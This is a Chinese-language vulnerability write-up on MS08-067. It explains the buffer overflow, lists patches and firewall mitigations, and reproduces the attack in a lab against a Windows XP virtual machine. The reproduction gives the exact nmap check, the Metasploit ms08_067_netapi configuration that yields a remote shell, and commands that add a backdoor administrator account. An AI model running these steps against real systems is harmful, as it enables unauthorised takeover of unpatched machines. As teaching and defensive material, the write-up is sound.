一、漏洞介绍
基本信息
| 属性 | 内容 |
| -------- | --------------------------------------------------------------------- |
| 漏洞编号 | MS08-067 / CVE-2008-4250 |
| 漏洞名称 | Windows Server 服务 RPC 请求缓冲区溢出漏洞 |
| 发布时间 | 2008年10月23日 |
| 危害等级 | 严重 (Critical) - CVSS 10.0 |
| 影响系统 | Windows 2000 SP4, XP SP2/SP3, Server 2003 SP1/SP2, Vista, Server 2008 |
| 攻击向量 | 无需认证,远程攻击,通过 SMB 445端口 |
| 攻击后果 | 远程代码执行,获得 SYSTEM 权限 |
导致漏洞的原因:路径规范化机制缺陷
NetpwPathCanonicalize 函数在处理包含 ../ 序列的路径字符串时,执行以下操作:
// 伪代码示意
while (路径中包含 "../") {
找到 "../" 位置;
将后续内容向前移动覆盖 "../"; // 问题点:未验证目标缓冲区边界
继续解析;
}缺少输入长度验证:函数未对输入路径字符串执行前置长度校验
指针运算越界:在去除
../时,目标指针dest可能递减至栈帧基址以下栈缓冲区溢出:当
dest指针下溢后,后续字符复制操作覆盖返回地址(Saved Return Pointer, SRP)和结构化异常处理链(SEH chain)任意代码执行:攻击者通过覆盖返回地址,劫持指令指针(EIP),实现远程代码执行
用大白话讲就是:程序处理用户输入时没检查长度,结果被攻击者用超长数据"撑破"了内存缓冲区,趁机篡改了程序的"回家地址",让程序执行了攻击者的恶意代码
如何修复
## 三、漏洞修复与防护
### 3.1 永久修复(推荐)
安装微软官方补丁 KB958644:
- 下载地址:https://www.catalog.update.microsoft.com/Search.aspx?q=KB958644
- 安装后重启系统
- 验证补丁:`wmic qfe get HotFixID | findstr "958644"`
### 3.2 临时缓解措施
如暂时无法打补丁:
| 措施 | 命令 | 影响 |
|------|------|------|
| 关闭 Server 服务 | `net stop server` | 丧失文件共享功能 |
| 防火墙阻断 445 | `netsh advfirewall firewall add rule name="Block SMB" dir=in action=block protocol=tcp localport=445` | 阻断外部 SMB 访问 |
| 禁用 NetBIOS | 网络适配器 → IPv4 → 高级 → WINS → 禁用 NetBIOS over TCP/IP | 阻断 139 端口 |
### 3.3 企业级防护
- 网络分段:将遗留系统隔离在独立 VLAN
- IDS/IPS:部署规则检测 MS08-067 利用特征
- 漏洞扫描:定期使用 nmap 脚本扫描内网二、漏洞复现
这里我们使用vmware搭建靶机,关闭目标靶机的防火墙和系统更新
攻击机(kali):192.168.68.128
目标靶机(winXP_SP3):192.168.68.132
打开kali终端:
1、nmap扫描确认漏洞是否存在
nmap --script smb-vuln-ms08-067 -p 445 192.168.68.132注释:--script参数只探测smb-vuln-ms08-067是否存在,-p指定端口(通过smb协议可以直接利用)
然后看到输出,显然目标靶机存在这个漏洞
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED2.上msfconsole
在kalilinux中输入msfconsole启动 msfconsole
search ms08-067
在控制台输入 search MS08-067 搜索一下

可以看到漏洞利用模块的具体名称
使用ms08_067_netapi模块
use exploit/windows/smb/ms08_067_netapi 配置msf
set rhost 192.168.68.132
set rport 445
set lhost 192.168.68.128rhost和rport分别表示的是远程目标主机的ip和远程端口,是目标靶机的(winXP)
lhost表示本地的ip,也就是攻击者自己的ip(kalilinux)
查看最终配置
show options
执行攻击
输入run 或者exploit 让msf执行攻击,当出现meterpreter时表示攻击成功,这里我们输入shell就可以让目标靶机执行命令了

3.让目标靶机执行相关命令
查看ip : ipconfig

添加一个管理员用户
这里我创建了一个hacker/hacker的用户
net user hacker hacker /add添加到管理员组
net localgroup administrators hacker /add验证是否成功
net localgroup administrators可以看到hacker已经在管理员组了
